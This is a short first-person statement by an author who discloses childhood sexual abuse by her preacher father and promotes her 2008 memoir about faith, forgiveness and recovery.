My name is Linda F. and I have finally broken my silence after decades of suffering in shame. My preacher father sexually abused me for ten years when I was a child. Naturally, this completely polluted my concept of God, love, father and trust. I have written my story in a book entitled, “Out of the Miry Clay: Freedom from Childhood Sexual Abuse”. It is a story about the carnage that sexual abuse leaves in the heart of every child. It is my story of being a preacher’s daughter in search of a loving Heavenly Father who would give me the courage to forgive and trust again. A Heavenly Father so unlike my earthly father that the difference would literally baffle me for years. “Out of the Miry Clay” was published in June of 2008 and has gone to over 31 different countries in the first year of publication.
